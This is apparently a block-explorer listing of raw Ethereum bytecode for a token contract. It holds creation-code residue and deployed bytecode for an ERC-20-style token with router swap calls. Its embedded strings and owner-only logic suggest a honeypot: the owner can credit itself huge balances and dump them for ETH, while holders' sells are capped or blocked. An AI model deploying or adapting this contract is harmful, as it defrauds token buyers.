ffff1614610c3457816dffffffffffffffffffffffffffff16610c46565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b610c7f33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80600a8190555050565b600080339050610cae818585610c9f85896116df565b610ca9919061306c565b6119a6565b600191505092915050565b6000601460009054906101000a900460ff16905090565b610cfc33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610d6c33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b6d629b8c891b267182b61400000000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc9919061306c565b92505081905550565b610dfe33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b801515601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e87906130ec565b60405180910390fd5b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fb633600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b60648211158015610fc8575060648111155b611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe9061317e565b60405180910390fd5b81600b8190555080600c819055505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61106a6124b1565b6110746000612528565b565b6110a233600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b60006110ad30610abe565b90506000816dffffffffffffffffffffffffffff80166110cd919061319e565b90506110d76125ec565b6110e9306110e433611019565b61167a565b5061112730600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff80166119a6565b6060600267ffffffffffffffff811115611144576111436131d2565b5b6040519080825280602002602001820160405280156111725781602001602082028036833780820191505090505b509050308160008151811061118a57611189613201565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611231573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112559190613010565b8160018151811061126957611268613201565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b0426112f9919061306c565b6040518663ffffffff1660e01b8152600401611319959493929190613333565b6000604051808303816000875af1158015611338573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061136191906134b1565b5050505050565b61139433600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b601460009054906101000a900460ff1615601460006101000a81548160ff021916908315150217905550565b60136020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461141890612ef5565b80601f016020809104026020016040519081016040528092919081815260200182805461144490612ef5565b80156114915780601f1061146657610100808354040283529160200191611491565b820191906000526020600020905b81548152906001019060200180831161147457829003601f168201915b5050505050905090565b6114c733600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80600660008282546114d9919061306c565b9250508190555050565b61150f33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b60005b838390508110156115ae57816011600086868581811061153557611534613201565b5b905060200201602081019061154a9190612cfe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806115a6906134fa565b915050611512565b50505050565b60008033905060006115c682866116df565b90508381101561160b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611602906135b4565b60405180910390fd5b61161882868684036119a6565b60019250505092915050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008033905061168b818585611c6d565b600191505092915050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6117be33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61180a6124b1565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187090613646565b60405180910390fd5b61188281612528565b50565b6118b133600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b6118de30600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119a6565b6118e8308261167a565b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343084600080336104b04261193c919061306c565b6040518863ffffffff1660e01b815260040161195d96959493929190613666565b60606040518083038185885af115801561197b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119a091906136c7565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0c9061378c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7b9061381e565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b629190612c03565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd4906138b0565b60405180910390fd5b5050565b6000611bed84846116df565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611c675781811015611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c509061391c565b60405180910390fd5b611c6684848484036119a6565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd3906139ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4290613a40565b60405180910390fd5b611d56838383612654565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd490613ad2565b60405180910390fd5b611de684610eeb565b158015611df95750611df783610eeb565b155b1561239557611e07846128e5565b15612041576000611e1a83600b54612997565b90508282611e28919061319e565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083611e77919061319e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ec5919061306c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611f27919061319e565b604051611f349190612c03565b60405180910390a38060046000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fad919061306c565b92505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120339190612c03565b60405180910390a350612390565b61204a836128e5565b1561228457600061205d83600c54612997565b9050828261206b919061319e565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836120ba919061319e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612108919061306c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661216a919061319e565b6040516121779190612c03565b60405180910390a38060046000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121f0919061306c565b92505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122769190612c03565b60405180910390a35061238f565b8181612290919061319e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612322919061306c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123869190612c03565b60405180910390a35b5b6124a0565b81816123a1919061319e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612433919061306c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124979190612c03565b60405180910390a35b6124ab8484846129b9565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff166124d06113e0565b73ffffffffffffffffffffffffffffffffffffffff1614612526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251d90613b3e565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6dffffffffffffffffffffffffffff8016600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461264b919061306c565b92505081905550565b61265d836128e5565b156126fd5780600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126b1919061306c565b9250508190555042600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b612706826128e5565b156128e057601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166128df5780600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156127de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d590613bd0565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461282d919061319e565b9250508190555061283c610cb9565b156128cc5761288c600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546010546129be565b6128cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c290613c3c565b60405180910390fd5b5b6128d46129d7565b156128de57600080fd5b5b5b505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806129905750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846129a79190613c5c565b6129b19190613ccd565b905092915050565b505050565b60004282846129cd919061306c565b1015905092915050565b6000600a543a1015905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a1e578082015181840152602081019050612a03565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a46826129e4565b612a5081856129ef565b9350612a60818560208601612a00565b612a6981612a2a565b840191505092915050565b60006020820190508181036000830152612a8e8184612a3b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ad582612aaa565b9050919050565b612ae581612aca565b8114612af057600080fd5b50565b600081359050612b0281612adc565b92915050565b6000819050919050565b612b1b81612b08565b8114612b2657600080fd5b50565b600081359050612b3881612b12565b92915050565b60008060408385031215612b5557612b54612aa0565b5b6000612b6385828601612af3565b9250506020612b7485828601612b29565b9150509250929050565b60008115159050919050565b612b9381612b7e565b82525050565b6000602082019050612bae6000830184612b8a565b92915050565b60008060408385031215612bcb57612bca612aa0565b5b6000612bd985828601612af3565b9250506020612bea85828601612af3565b9150509250929050565b612bfd81612b08565b82525050565b6000602082019050612c186000830184612bf4565b92915050565b600080600060608486031215612c3757612c36612aa0565b5b6000612c4586828701612af3565b9350506020612c5686828701612af3565b9250506040612c6786828701612b29565b9150509250925092565b6000604082019050612c866000830185612bf4565b612c936020830184612bf4565b9392505050565b600060ff82169050919050565b612cb081612c9a565b82525050565b6000602082019050612ccb6000830184612ca7565b92915050565b600060208284031215612ce757612ce6612aa0565b5b6000612cf584828501612b29565b91505092915050565b600060208284031215612d1457612d13612aa0565b5b6000612d2284828501612af3565b91505092915050565b612d3481612b7e565b8114612d3f57600080fd5b50565b600081359050612d5181612d2b565b92915050565b60008060408385031215612d6e57612d6d612aa0565b5b6000612d7c85828601612af3565b9250506020612d8d85828601612d42565b9150509250929050565b60008060408385031215612dae57612dad612aa0565b5b6000612dbc85828601612b29565b9250506020612dcd85828601612b29565b9150509250929050565b612de081612aca565b82525050565b6000602082019050612dfb6000830184612dd7565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612e2657612e25612e01565b5b8235905067ffffffffffffffff811115612e4357612e42612e06565b5b602083019150836020820283011115612e5f57612e5e612e0b565b5b9250929050565b600080600060408486031215612e7f57612e7e612aa0565b5b600084013567ffffffffffffffff811115612e9d57612e9c612aa5565b5b612ea986828701612e10565b93509350506020612ebc86828701612d42565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f0d57607f821691505b602082108103612f2057612f1f612ec6565b5b50919050565b60006dffffffffffffffffffffffffffff82169050919050565b612f4981612f26565b8114612f5457600080fd5b50565b600081519050612f6681612f40565b92915050565b600063ffffffff82169050919050565b612f8581612f6c565b8114612f9057600080fd5b50565b600081519050612fa281612f7c565b92915050565b600080600060608486031215612fc157612fc0612aa0565b5b6000612fcf86828701612f57565b9350506020612fe086828701612f57565b9250506040612ff186828701612f93565b9150509250925092565b60008151905061300a81612adc565b92915050565b60006020828403121561302657613025612aa0565b5b600061303484828501612ffb565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061307782612b08565b915061308283612b08565b925082820190508082111561309a5761309961303d565b5b92915050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006130d6601d836129ef565b91506130e1826130a0565b602082019050919050565b60006020820190508181036000830152613105816130c9565b9050919050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b60006131686024836129ef565b91506131738261310c565b604082019050919050565b600060208201905081810360008301526131978161315b565b9050919050565b60006131a982612b08565b91506131b483612b08565b92508282039050818111156131cc576131cb61303d565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b600061325f61325a61325584613230565b61323a565b612b08565b9050919050565b61326f81613244565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6132aa81612aca565b82525050565b60006132bc83836132a1565b60208301905092915050565b6000602082019050919050565b60006132e082613275565b6132ea8185613280565b93506132f583613291565b8060005b8381101561332657815161330d88826132b0565b9750613318836132c8565b9250506001810190506132f9565b5085935050505092915050565b600060a0820190506133486000830188612bf4565b6133556020830187613266565b818103604083015261336781866132d5565b90506133766060830185612dd7565b6133836080830184612bf4565b9695505050505050565b61339682612a2a565b810181811067ffffffffffffffff821117156133b5576133b46131d2565b5b80604052505050565b60006133c8612a96565b90506133d4828261338d565b919050565b600067ffffffffffffffff8211156133f4576133f36131d2565b5b602082029050602081019050919050565b60008151905061341481612b12565b92915050565b600061342d613428846133d9565b6133be565b905080838252602082019050602084028301858111156134505761344f612e0b565b5b835b8181101561347957806134658882613405565b845260208401935050602081019050613452565b5050509392505050565b600082601f83011261349857613497612e01565b5b81516134a884826020860161341a565b91505092915050565b6000602082840312156134c7576134c6612aa0565b5b600082015167ffffffffffffffff8111156134e5576134e4612aa5565b5b6134f184828501613483565b91505092915050565b600061350582612b08565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036135375761353661303d565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061359e6025836129ef565b91506135a982613542565b604082019050919050565b600060208201905081810360008301526135cd81613591565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136306026836129ef565b915061363b826135d4565b604082019050919050565b6000602082019050818103600083015261365f81613623565b9050919050565b600060c08201905061367b6000830189612dd7565b6136886020830188612bf4565b6136956040830187613266565b6136a26060830186613266565b6136af6080830185612dd7565b6136bc60a0830184612bf4565b979650505050505050565b6000806000606084860312156136e0576136df612aa0565b5b60006136ee86828701613405565b93505060206136ff86828701613405565b925050604061371086828701613405565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006137766024836129ef565b91506137818261371a565b604082019050919050565b600060208201905081810360008301526137a581613769565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006138086022836129ef565b9150613813826137ac565b604082019050919050565b60006020820190508181036000830152613837816137fb565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061389a6021836129ef565b91506138a58261383e565b604082019050919050565b600060208201905081810360008301526138c98161388d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613906601d836129ef565b9150613911826138d0565b602082019050919050565b60006020820190508181036000830152613935816138f9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006139986025836129ef565b91506139a38261393c565b604082019050919050565b600060208201905081810360008301526139c78161398b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613a2a6023836129ef565b9150613a35826139ce565b604082019050919050565b60006020820190508181036000830152613a5981613a1d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613abc6026836129ef565b9150613ac782613a60565b604082019050919050565b60006020820190508181036000830152613aeb81613aaf565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613b286020836129ef565b9150613b3382613af2565b602082019050919050565b60006020820190508181036000830152613b5781613b1b565b9050919050565b7f596f752061726520747279696e6720746f2073656c6c206d6f7265207468616e60008201527f20626f7567687421000000000000000000000000000000000000000000000000602082015250565b6000613bba6028836129ef565b9150613bc582613b5e565b604082019050919050565b60006020820190508181036000830152613be981613bad565b9050919050565b7f4c696272654d6f756e743a20457863656564732054786e20446f776e74696d65600082015250565b6000613c266020836129ef565b9150613c3182613bf0565b602082019050919050565b60006020820190508181036000830152613c5581613c19565b9050919050565b6000613c6782612b08565b9150613c7283612b08565b9250828202613c8081612b08565b91508282048414831517613c9757613c9661303d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613cd882612b08565b9150613ce383612b08565b925082613cf357613cf2613c9e565b5b82820490509291505056fea2646970667358221220185d5c322a40510a7e430bba902942a4e74fad3b3bec88dec9772e751af6c42164736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x60806040526004361061021a5760003560e01c806370a0823111610123578063a457c2d7116100ab578063e3bbb4f11161006f578063e3bbb4f11461080a578063e4440a8614610835578063edd8b64a14610860578063f2fde38b14610889578063f53d9d58146108b25761021a565b8063a457c2d7146106d9578063a7e90f4114610716578063a9059cbb14610753578063d1a039f014610790578063dd62ed3e146107cd5761021a565b806385ecafd7116100f257806385ecafd7146105f45780638da5cb5b1461063157806395d89b411461065c5780639e568dbc146106875780639f38a0d7146106b05761021a565b806370a0823114610572578063715018a6146105af5780637430cb3f146105c65780638229c2e5146105dd5761021a565b80633816377e116101a65780634feeade4116101755780634feeade41461048f5780635337cc99146104a65780635342acb4146104cf5780636994ee731461050c5780636db79437146105495761021a565b80633816377e146103d557806339509351146103fe5780633975cae91461043b5780634d474d42146104665761021a565b806323b872dd116101ed57806323b872dd146102db5780632df8bca914610318578063313ce56714610344578063344d9e791461036f57806335d16274146103985761021a565b806306fdde031461021f578063095ea7b31461024a5780631342be9b1461028757806318160ddd146102b0575b600080fd5b34801561022b57600080fd5b506102346108ce565b6040516102419190612a74565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c9190612b3e565b610960565b60405161027e9190612b99565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a99190612bb4565b61097c565b005b3480156102bc57600080fd5b506102c5610a2e565b6040516102d29190612c03565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd9190612c1e565b610a38565b60405161030f9190612b99565b60405180910390f35b34801561032457600080fd5b5061032d610a60565b60405161033b929190612c71565b60405180910390f35b34801561035057600080fd5b50610359610a71565b6040516103669190612cb6565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612cd1565b610a88565b005b3480156103a457600080fd5b506103bf60048036038101906103ba9190612cfe565b610abe565b6040516103cc9190612c03565b60405180910390f35b3480156103e157600080fd5b506103fc60048036038101906103f79190612cd1565b610c53565b005b34801561040a57600080fd5b5061042560048036038101906104209190612b3e565b610c89565b6040516104329190612b99565b60405180910390f35b34801561044757600080fd5b50610450610cb9565b60405161045d9190612b99565b60405180910390f35b34801561047257600080fd5b5061048d60048036038101906104889190612cfe565b610cd0565b005b34801561049b57600080fd5b506104a4610d40565b005b3480156104b257600080fd5b506104cd60048036038101906104c89190612d57565b610dd2565b005b3480156104db57600080fd5b506104f660048036038101906104f19190612cfe565b610eeb565b6040516105039190612b99565b60405180910390f35b34801561051857600080fd5b50610533600480360381019061052e9190612cfe565b610f41565b6040516105409190612c03565b60405180910390f35b34801561055557600080fd5b50610570600480360381019061056b9190612d97565b610f8a565b005b34801561057e57600080fd5b5061059960048036038101906105949190612cfe565b611019565b6040516105a69190612c03565b60405180910390f35b3480156105bb57600080fd5b506105c4611062565b005b3480156105d257600080fd5b506105db611076565b005b3480156105e957600080fd5b506105f2611368565b005b34801561060057600080fd5b5061061b60048036038101906106169190612cfe565b6113c0565b6040516106289190612b99565b60405180910390f35b34801561063d57600080fd5b506106466113e0565b6040516106539190612de6565b60405180910390f35b34801561066857600080fd5b50610671611409565b60405161067e9190612a74565b60405180910390f35b34801561069357600080fd5b506106ae60048036038101906106a99190612cd1565b61149b565b005b3480156106bc57600080fd5b506106d760048036038101906106d29190612e66565b6114e3565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612b3e565b6115b4565b60405161070d9190612b99565b60405180910390f35b34801561072257600080fd5b5061073d60048036038101906107389190612cfe565b611624565b60405161074a9190612b99565b60405180910390f35b34801561075f57600080fd5b5061077a60048036038101906107759190612b3e565b61167a565b6040516107879190612b99565b60405180910390f35b34801561079c57600080fd5b506107b760048036038101906107b29190612cfe565b611696565b6040516107c49190612c03565b60405180910390f35b3480156107d957600080fd5b506107f460048036038101906107ef9190612bb4565b6116df565b6040516108019190612c03565b60405180910390f35b34801561081657600080fd5b5061081f611766565b60405161082c9190612c03565b60405180910390f35b34801561084157600080fd5b5061084a61176c565b6040516108579190612de6565b60405180910390f35b34801561086c57600080fd5b5061088760048036038101906108829190612cfe565b611792565b005b34801561089557600080fd5b506108b060048036038101906108ab9190612cfe565b611802565b005b6108cc60048036038101906108c79190612cd1565b611885565b005b6060600780546108dd90612ef5565b80601f016020809104026020016040519081016040528092919081815260200182805461090990612ef5565b80156109565780601f1061092b57610100808354040283529160200191610956565b820191906000526020600020905b81548152906001019060200180831161093957829003601f168201915b5050505050905090565b6000803390506109718185856119a6565b600191505092915050565b6109a833600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600654905090565b600080339050610a49858285611be1565b610a54858585611c6d565b60019150509392505050565b600080600b54600c54915091509091565b6000600960009054906101000a900460ff16905090565b610ab433600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b8060108190555050565b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610b30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b549190612fa8565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c039190613010565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457816dffffffffffffffffffffffffffff16610c46565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b610c7f33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80600a8190555050565b600080339050610cae818585610c9f85896116df565b610ca9919061306c565b6119a6565b600191505092915050565b6000601460009054906101000a900460ff16905090565b610cfc33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610d6c33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b6d629b8c891b267182b61400000000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc9919061306c565b92505081905550565b610dfe33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b801515601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e87906130ec565b60405180910390fd5b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff